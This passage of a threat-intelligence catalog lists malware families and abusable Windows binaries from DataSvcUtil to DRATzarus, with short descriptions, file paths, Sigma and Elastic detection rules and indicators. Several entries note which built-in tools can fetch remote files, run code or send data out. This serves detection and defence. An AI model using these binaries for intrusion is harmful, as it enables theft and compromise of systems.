SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml) * IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory. * IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS. * IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.^{[[DataSvcUtil.exe - LOLBAS Project](/references/0c373780-3202-4036-8c83-f3d468155b35)]}

The tag is: *misp-galaxy:software="DataSvcUtil"*

DBatLoader

DBatLoader is a malware used for downloading/dropping purposes.

The tag is: *misp-galaxy:software="DBatLoader"*

DCRat

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="DCRat"*

DCSrv

[DCSrv](https://app.tidalcyber.com/software/26ae3cd1-6710-4807-b674-957bd67d3e76) is destructive malware that has been used by [Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) since at least September 2021. Though [DCSrv](https://app.tidalcyber.com/software/26ae3cd1-6710-4807-b674-957bd67d3e76) has ransomware-like capabilities, [Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) does not demand ransom or offer a decryption key.^{[[Checkpoint MosesStaff Nov 2021](https://app.tidalcyber.com/references/d6da2849-cff0-408a-9f09-81a33fc88a56)]}

The tag is: *misp-galaxy:software="DCSrv"*

DDKONG

[DDKONG](https://app.tidalcyber.com/software/0657b804-a889-400a-97d7-a4989809a623) is a malware sample that was part of a campaign by [Rancor](https://app.tidalcyber.com/groups/021b3c71-6467-4e46-a413-8b726f066f2c). [DDKONG](https://app.tidalcyber.com/software/0657b804-a889-400a-97d7-a4989809a623) was first seen used in February 2017. ^{[[Rancor Unit42 June 2018](https://app.tidalcyber.com/references/45098a85-a61f-491a-a549-f62b02dc2ecd)]}

The tag is: *misp-galaxy:software="DDKONG"*

DDOSIA

DDOSIA is a multi-threaded application that conducts denial-of-service attacks against target sites by repeatedly issuing network requests. DDOSIA issues requests as instructed by a configuration file that the malware receives from a C2 server when started. The configuration file is in JSON format and resides at the /client/get_targets URL path on the C2 server.^{[[Sekoia.io Blog March 1 2024](/references/05a13b06-0034-41be-8a43-c80823b8de9e)]}^{[[Avast Threat Labs January 11 2023](/references/bf09f587-2c3f-4030-83fe-3cb6cc413c95)]}^{[[SentinelOne January 12 2023](/references/bbd7e1ee-4f36-482a-b679-15ef0f1c91d3)]}

The tag is: *misp-galaxy:software="DDOSIA"*

DEADEYE

[DEADEYE](https://app.tidalcyber.com/software/e9533664-90c5-5b40-a40e-a69a2eda8bc9) is a malware launcher that has been used by [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) since at least May 2021. [DEADEYE](https://app.tidalcyber.com/software/e9533664-90c5-5b40-a40e-a69a2eda8bc9) has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).^{[[Mandiant APT41](https://app.tidalcyber.com/references/e54415fe-40c2-55ff-9e75-881bc8a912b8)]}

The tag is: *misp-galaxy:software="DEADEYE"*

DEADWOOD

[DEADWOOD](https://app.tidalcyber.com/software/787609d5-43b0-5c79-9b88-9788de1a5f6f) is wiper malware written in C++ using Boost libraries. [DEADWOOD](https://app.tidalcyber.com/software/787609d5-43b0-5c79-9b88-9788de1a5f6f) was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) operations.^{[[SentinelOne Agrius 2021](https://app.tidalcyber.com/references/b5b433a1-5d12-5644-894b-c42d995c9ba5)]}

The tag is: *misp-galaxy:software="DEADWOOD"*

DealersChoice

[DealersChoice](https://app.tidalcyber.com/software/64dc5d44-2304-4875-b517-316ab98512c2) is a Flash exploitation framework used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5). ^{[[Sofacy DealersChoice](https://app.tidalcyber.com/references/ec157d0c-4091-43f5-85f1-a271c4aac1fc)]}

The tag is: *misp-galaxy:software="DealersChoice"*

DEATHRANSOM

[DEATHRANSOM](https://app.tidalcyber.com/software/832f5ab1-1267-40c9-84ef-f32d6373be4e) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://app.tidalcyber.com/software/84187393-2fe9-4136-8720-a6893734ee8c) and [HELLOKITTY]([FireEye FiveHands April 2021(https://app.tidalcyber.com/references/832aeb46-b248-43e8-9157-a2f56bcd1806)]</sup>

The tag is: *misp-galaxy:software="DEATHRANSOM"*

DefaultPack

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: This binary can be downloaded along side multiple software downloads on the microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.

Author: @checkymander

Paths: * C:\Program Files (x86)\Microsoft\DefaultPack\

Resources: * https://twitter.com/checkymander/status/1311509470275604480.

Detection: * Sigma: [proc_creation_win_lolbin_defaultpack.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml) * IOC: DefaultPack.EXE spawned an unknown process^{[[DefaultPack.EXE - LOLBAS Project](/references/106efc3e-5816-44ae-a384-5e026e68ab89)]}

The tag is: *misp-galaxy:software="DefaultPack"*

Defender Control

Defender Control is a tool purpose-built to disable Microsoft Defender.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Defender Control"*

Demodex

Demodex is a rootkit observed during attacks linked to the GhostEmperor (AKA FamousSparrow and Salt Typhoon) China-backed cyberespionage group.^{[[Kaspersky September 30 2021](/references/8851f554-05c6-4fb0-807e-2ef0bc28e131)]}

The tag is: *misp-galaxy:software="Demodex"*

Denis

[Denis](https://app.tidalcyber.com/software/df4002d2-f557-4f95-af7a-9a4582fb7068) is a Windows backdoor and Trojan used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145). [Denis](https://app.tidalcyber.com/software/df4002d2-f557-4f95-af7a-9a4582fb7068) shares several similarities to the [SOUNDBITE](https://app.tidalcyber.com/software/069538a5-3cb8-4eb4-9fbb-83867bb4d826) backdoor and has been used in conjunction with the [Goopy](https://app.tidalcyber.com/software/a75855fd-2b6b-43d8-99a5-2be03b544f34) backdoor.^{[[Cybereason Oceanlotus May 2017](https://app.tidalcyber.com/references/1ef3025b-d4a9-49aa-b744-2dbea10a0abf)]}

The tag is: *misp-galaxy:software="Denis"*

Denonia

Denonia is described as "the first malware specifically targeting Lambda", the AWS serverless computing platform. Early samples appeared to possess cryptomining capabilities, but researchers believe Denonia could be used to carry out other types of activities as well.^{[[Cado Denonia April 3 2022](/references/b276c28d-1488-4a21-86d1-7acdfd77794b)]}

The tag is: *misp-galaxy:software="Denonia"*

Derusbi

[Derusbi](https://app.tidalcyber.com/software/9222aa77-922e-43c7-89ad-71067c428fb2) is malware used by multiple Chinese APT groups.^{[[Novetta-Axiom](https://app.tidalcyber.com/references/0dd428b9-849b-4108-87b1-20050b86f420)]}^{[[ThreatConnect Anthem](https://app.tidalcyber.com/references/61ecd0b4-6cac-4d9f-8e8c-3d488fef6fec)]} Both Windows and Linux variants have been observed.^{[[Fidelis Turbo](https://app.tidalcyber.com/references/f19877f1-3e0f-4c68-b6c9-ef5b0bd470ed)]}

The tag is: *misp-galaxy:software="Derusbi"*

Desk

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Desktop Settings Control Panel

Author: Hai Vaknin

Paths: * C:\Windows\System32\desk.cpl * C:\Windows\SysWOW64\desk.cpl

Resources: * https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt * https://twitter.com/pabraeken/status/998627081360695297 * https://twitter.com/VakninHai/status/1517027824984547329 * https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files

Detection: * Sigma: [file_event_win_new_src_file.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_new_src_file.yml) * Sigma: [proc_creation_win_lolbin_rundll32_installscreensaver.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml) * Sigma: [registry_set_scr_file_executed_by_rundll32.yml]([Desk.cpl - LOLBAS Project(/references/487a54d9-9f90-478e-b305-bd041af55e12)]</sup>

The tag is: *misp-galaxy:software="Desk"*

Desktopimgdownldr

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows binary used to configure lockscreen/desktop image

Author: Gal Kristal

Paths: * c:\windows\system32\desktopimgdownldr.exe

Resources: * https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

Detection: * Sigma: [proc_creation_win_desktopimgdownldr_susp_execution.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml) * Sigma: [file_event_win_susp_desktopimgdownldr_file.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml) * Elastic: [command_and_control_remote_file_copy_desktopimgdownldr.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml) * IOC: desktopimgdownldr.exe that creates non-image file * IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl^{[[Desktopimgdownldr.exe - LOLBAS Project](/references/1df3aacf-76c4-472a-92c8-2a85ae9e2860)]}

The tag is: *misp-galaxy:software="Desktopimgdownldr"*

DeviceCredentialDeployment

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Device Credential Deployment

Author: Elliot Killick

Paths: * C:\Windows\System32\DeviceCredentialDeployment.exe

Resources: None Provided

Detection: * IOC: DeviceCredentialDeployment.exe should not be run on a normal workstation * Sigma: [proc_creation_win_lolbin_device_credential_deployment.yml]([DeviceCredentialDeployment.exe - LOLBAS Project(/references/fef281e8-8138-4420-b11b-66d1e6a19805)]</sup>

The tag is: *misp-galaxy:software="DeviceCredentialDeployment"*

Devinit

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Visual Studio 2019 tool

Author: mr.d0x

Paths: * C:\Program Files\Microsoft Visual Studio*\Community\Common7\Tools\devinit\devinit.exe * C:\Program Files (x86)\Microsoft Visual Studio*\Community\Common7\Tools\devinit\devinit.exe

Resources: * https://twitter.com/mrd0x/status/1460815932402679809

Detection: * Sigma: [proc_creation_win_devinit_lolbin_usage.yml]([Devinit.exe - LOLBAS Project(/references/27343583-c17d-4c11-a7e3-14d725756556)]</sup>

The tag is: *misp-galaxy:software="Devinit"*

Devman Ransomware

Although few details about its capabilities have been reported, security researchers indicate that the Devman ransomware group leverage custom encryptor software, which applies the ".devman1"

extension to encrypted files, during actors' attacks.^{[[Cyble Safepay Devman June 3 2025](/references/49840002-47ee-4a77-9ceb-577752798dc0)]}^{[[AhnLab Dark Web Trends June 10 2025](/references/de36cb84-6eaf-4a67-b09b-b876af38ccb5)]} This object represents the relationships and other details associated with this malware.

The tag is: *misp-galaxy:software="Devman Ransomware"*

Devtoolslauncher

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary will execute specified binary. Part of VS/VScode installation.

Author: felamos

Paths: * c:\windows\system32\devtoolslauncher.exe

Resources: * https://twitter.com/_felamos/status/1179811992841797632

Detection: * Sigma: [proc_creation_win_lolbin_devtoolslauncher.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml) * IOC: DeveloperToolsSvc.exe spawned an unknown process^{[[Devtoolslauncher.exe - LOLBAS Project](/references/cb263978-019c-40c6-b6de-61db0e7a8941)]}

The tag is: *misp-galaxy:software="Devtoolslauncher"*

devtunnel

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary to enable forwarded ports on windows operating systems.

Author: Kamran Saifullah

Paths: * C:\Users\<username>\AppData\Local\Temp\.net\devtunnel\ * C:\Users\<username>\AppData\Local\Temp\DevTunnels

Resources: * https://code.visualstudio.com/docs/editor/port-forwarding

Detection: * IOC: devtunnel.exe binary spawned * IOC: **.devtunnels.ms * IOC: *.**.devtunnels.ms * Analysis: [https://cydefops.com/vscode-data-exfiltration]([devtunnel.exe - LOLBAS

Project(/references/657c8b4c-1eee-4997-8461-c7592eaed9e8)]</sup>

The tag is: *misp-galaxy:software="devtunnel"*

DEWMODE

According to joint Cybersecurity Advisory AA23-158A (June 2023), DEWMODE is a web shell written in PHP that is designed to interact with a MySQL database. During a campaign from 2020 to 2021, threat actors exploited multiple zero-day vulnerabilities in internet-facing Accellion File Transfer Appliance (FTA) devices, installing DEWMODE web shells to exfiltrate data from compromised networks.^{[[Mandiant MOVEit Transfer June 2 2023](/references/232c7555-0483-4a57-88cb-71a990f7d683)]}

Malpedia (Research): https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode

Malware Bazaar (Samples & IOCs): https://bazaar.abuse.ch/browse/tag/dewmode/

The tag is: *misp-galaxy:software="DEWMODE"*

Dfshim

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: ClickOnce engine in Windows used by .NET

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe * C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

Resources: * https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf * https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Dfshim.dll - LOLBAS Project(/references/30503e42-6047-46a9-8189-e6caa5f4deb0)]</sup>

The tag is: *misp-galaxy:software="Dfshim"*

Dfsvc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: ClickOnce engine in Windows used by .NET

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe * C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

Resources: * https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf * https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Dfsvc.exe - LOLBAS Project(/references/7f3a78c0-68b2-4a9d-ae6a-6e63e8ddac3f)]</sup>

The tag is: *misp-galaxy:software="Dfsvc"*

Diantz

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary that package existing files into a cabinet (.cab) file

Author: Tamir Yehuda

Paths: * c:\windows\system32\diantz.exe * c:\windows\syswow64\diantz.exe

Resources: * https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz

Detection: * Sigma: [proc_creation_win_lolbin_diantz_ads.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml) * Sigma: [proc_creation_win_lolbin_diantz_remote_cab.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml) * IOC: diantz storing data into alternate data streams. * IOC: diantz getting a file from a remote machine or the internet.^{[[diantz.exe_lolbas](/references/66652db8-5594-414f-8a6b-83d708a0c1fa)]}

The tag is: *misp-galaxy:software="Diantz"*

Diavol

[Diavol](https://app.tidalcyber.com/software/d057b6e7-1de4-4f2f-b374-7e879caecd67) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The [Diavol](https://app.tidalcyber.com/software/d057b6e7-1de4-4f2f-b374-7e879caecd67) Ransomware-as-a Service (RaaS) program is managed by [Wizard Spider](https://app.tidalcyber.com/groups/0b431229-036f-4157-a1da-ff16dfc095f8) and it has been observed being deployed by [Bazar]([Fortinet Diavol July 2021(https://app.tidalcyber.com/references/28c650f2-8ce8-4c78-ab4a-cae56c1548ed)]</sup>^{[[FBI Flash Diavol January 2022](https://app.tidalcyber.com/references/a1691741-9ecd-4b20-8cc9-b9bdfc1592b5)]}^{[[DFIR Diavol Ransomware December 2021](https://app.tidalcyber.com/references/eb89f18d-684c-4220-b2a8-967f1f8f9162)]}^{[[Microsoft Ransomware as a Service](https://app.tidalcyber.com/references/833018b5-6ef6-5327-9af5-1a551df25cd2)]}

The tag is: *misp-galaxy:software="Diavol"*

Dipsind

[Dipsind](https://app.tidalcyber.com/software/226ee563-4d49-48c2-aa91-82999f43ce30) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://app.tidalcyber.com/groups/f036b992-4c3f-47b7-a458-94ac133bce74). ^{[[Microsoft PLATINUM April 2016](https://app.tidalcyber.com/references/d0ec5037-aa7f-48ee-8d37-ff8fb2c8c297)]}

The tag is: *misp-galaxy:software="Dipsind"*

Disco

[Disco](https://app.tidalcyber.com/software/194314e3-4edc-5346-96b6-d2d7bf5d830a) is a custom implant that has been used by [MoustachedBouncer](https://app.tidalcyber.com/groups/f31df12e-66ea-5a49-87bc-2bc1756a89fc) since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.^{[[MoustachedBouncer ESET August 2023](https://app.tidalcyber.com/references/9070f14b-5d5e-5f6d-bcac-628478e01242)]}

The tag is: *misp-galaxy:software="Disco"*

Diskshadow

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).

Author: Oddvar Moe

Paths: * C:\Windows\System32\diskshadow.exe * C:\Windows\SysWOW64\diskshadow.exe

Resources: * https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/

Detection: * Sigma: [proc_creation_win_lolbin_diskshadow.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diskshadow.yml) * Sigma: [proc_creation_win_susp_shadow_copies_deletion.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml) * Elastic: [credential_access_cmdline_dump_tool.toml](https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml) * IOC: Child process from diskshadow.exe^{[[Diskshadow.exe - LOLBAS Project](/references/27a3f0b4-e699-4319-8b52-8eae4581faa2)]}

The tag is: *misp-galaxy:software="Diskshadow"*

Dnscmd

Dnscmd is a Windows command-line utility used to manage DNS servers.^{[[Dnscmd Microsoft](/references/24b1cb7b-357f-470f-9715-fa0ec3958cbb)]}

The tag is: *misp-galaxy:software="Dnscmd"*

DnsSystem

[DnsSystem](https://app.tidalcyber.com/software/e69a913d-4ddc-4d69-9961-25a31cae5899) is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by [HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735) since at least June 2022.^{[[Zscaler Lyceum DnsSystem June 2022](https://app.tidalcyber.com/references/eb78de14-8044-4466-8954-9ca44a17e895)]}

The tag is: *misp-galaxy:software="DnsSystem"*

dnx

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: .Net Execution environment file included with .Net.

Author: Oddvar Moe

Paths: * N/A

Resources: * https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

Detection: * Sigma: [proc_creation_win_lolbin_dnx.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dnx.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: [https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules]([dnx.exe - LOLBAS Project(/references/50652a27-c47b-41d4-a2eb-2ebf74e5bd09)]</sup>

The tag is: *misp-galaxy:software="dnx"*

DOGCALL

[DOGCALL](https://app.tidalcyber.com/software/81ce23c0-f505-4d75-9928-4fbd627d3bc2) is a backdoor used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="DOGCALL"*

Dok

[Dok](https://app.tidalcyber.com/software/dfa14314-3c64-4a10-9889-0423b884f7aa) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle]([objsee mac malware 2017(https://app.tidalcyber.com/references/08227ae5-4086-4c31-83d9-459c3a097754)]</sup>^{[[hexed osx.dok analysis 2019](https://app.tidalcyber.com/references/96f9d36a-01a5-418e-85f4-957e58d49c1b)]}^{[[CheckPoint Dok](https://app.tidalcyber.com/references/8c178fd8-db34-45c6-901a-a8b2c178d809)]}

The tag is: *misp-galaxy:software="Dok"*

Doki

[Doki](https://app.tidalcyber.com/software/e6160c55-1868-47bd-bec6-7becbf236bbb) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://app.tidalcyber.com/software/e6160c55-1868-47bd-bec6-7becbf236bbb) was used in conjunction with the [ngrok](https://app.tidalcyber.com/software/316ecd9d-ac0b-58c7-8083-5d9214c770f6) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. <sup>[[Intezer Doki July 20](https://app.tidalcyber.com/references/688b2582-6602-44e1-aaac-

3a4b8e168b04)]</sup>

The tag is: *misp-galaxy:software="Doki"*

DomainPasswordSpray

DomainPasswordSpray is an openly available GitHub project containing a PowerShell-based tool that can be used to conduct password spraying attacks.^{[[U.S. CISA Iranian Actors Critical Infrastructure October 16 2024](/references/a70a4487-eaae-43b3-bfe0-0677fd911959)]}

The tag is: *misp-galaxy:software="DomainPasswordSpray"*

Donut

[Donut](https://app.tidalcyber.com/software/40d25a38-91f4-4e07-bb97-8866bed8e44f) is an open source framework used to generate position-independent shellcode.^{[[Donut Github](https://app.tidalcyber.com/references/5f28c41f-6903-4779-93d4-3de99e031b70)]}^{[[Introducing Donut](https://app.tidalcyber.com/references/8fd099c6-e002-44d0-8b7f-65f290a42c07)]} [Donut](https://app.tidalcyber.com/software/40d25a38-91f4-4e07-bb97-8866bed8e44f) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.^{[[NCC Group WastedLocker June 2020](https://app.tidalcyber.com/references/1520f2e5-2689-428f-9ee4-05e153a52381)]}

The tag is: *misp-galaxy:software="Donut"*

Dotnet

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: dotnet.exe comes with .NET Framework

Author: felamos

Paths: * C:\Program Files\dotnet\dotnet.exe

Resources: * https://twitter.com/_felamos/status/1204705548668555264 * https://gist.github.com/bohops/3f645a7238d8022830ecf5511b3ecfbc * https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/ * https://learn.microsoft.com/en-us/dotnet/fsharp/tools/fsharp-interactive/

Detection: * Sigma: [proc_creation_win_lolbin_dotnet.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dotnet.yml) * BlockRule: [https://docs.microsoft.com/en-us/windows/

security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules) * IOC: dotnet.exe spawned an unknown process^{[[Dotnet.exe - LOLBAS Project](/references/8abe21ad-88d1-4a5c-b79e-8216b4b06862)]}

The tag is: *misp-galaxy:software="Dotnet"*

DOWNBAIT

DOWNBAIT is a downloader, one of a series of software associated with China-based espionage actor Earth Preta (aka Mustang Panda) reported by researchers in September 2024.^{[[Trend Micro September 9 2024](/references/0fdc9ee2-5be2-43e0-afb9-c9a94fde3867)]}

The tag is: *misp-galaxy:software="DOWNBAIT"*

Downdelph

[Downdelph](https://app.tidalcyber.com/software/f7b64b81-f9e7-46bf-8f63-6d7520da832c) is a first-stage downloader written in Delphi that has been used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) in rare instances between 2013 and 2015.^{[[ESET Sednit Part 3](https://app.tidalcyber.com/references/7c2be444-a947-49bc-b5f6-8f6bec870c6a)]}

The tag is: *misp-galaxy:software="Downdelph"*

down_new

```
[down_new](https://app.tidalcyber.com/software/20b796cf-6c90-4928-999e-88107078e15e)
is a downloader that has been used by [BRONZE
BUTLER](https://app.tidalcyber.com/groups/5825a840-5577-4ffc-a08d-3f48d64395cb) since
at least 2019.<sup>[[Trend Micro Tick November
2019](https://app.tidalcyber.com/references/93adbf0d-5f5e-498e-aca1-
ed3eb11561e7)]</sup>
```

The tag is: *misp-galaxy:software="down_new"*

DownPaper

[DownPaper](https://app.tidalcyber.com/software/fc433c9d-a7fe-4915-8aa0-06b58f288249) is a backdoor Trojan; its main functionality is to download and run second stage malware.^{[[ClearSky Charming Kitten Dec 2017](https://app.tidalcyber.com/references/23ab1ad2-e9d4-416a-926f-6220a59044ab)]}

The tag is: *misp-galaxy:software="DownPaper"*

DRATzarus

